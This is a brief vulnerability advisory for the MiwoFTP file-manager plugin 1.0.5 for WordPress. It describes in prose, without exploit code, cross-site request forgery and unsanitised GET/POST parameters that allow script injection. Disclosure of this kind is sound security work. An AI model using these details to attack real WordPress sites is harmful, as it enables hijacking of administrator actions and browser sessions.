WordPress MiwoFTP Plugin 1.0.5 Multiple CSRF XSS Vulnerabilities


Vendor: Miwisoft LLC
Product web page: http://www.miwisoft.com
Affected version: 1.0.5

Summary: MiwoFTP is a smart, fast and lightweight file manager
plugin that operates from the back-end of WordPress.

Desc: MiwoFTP WP Plugin suffers from multiple cross-site request
forgery and xss vulnerabilities. The application allows users to
perform certain actions via HTTP requests without performing any
validity checks to verify the requests. This can be exploited to
perform certain actions with administrative privileges if a logged-in
user visits a malicious web site. Input passed to several GET/POST
parameters is not properly sanitised before being returned to the
user. This can be exploited to execute arbitrary HTML and script
code in a user's browser session in context of an affected site.

Tested on: Apache 2.4.10 (Win32)
           PHP 5.6.3
           MySQL 5.6.21
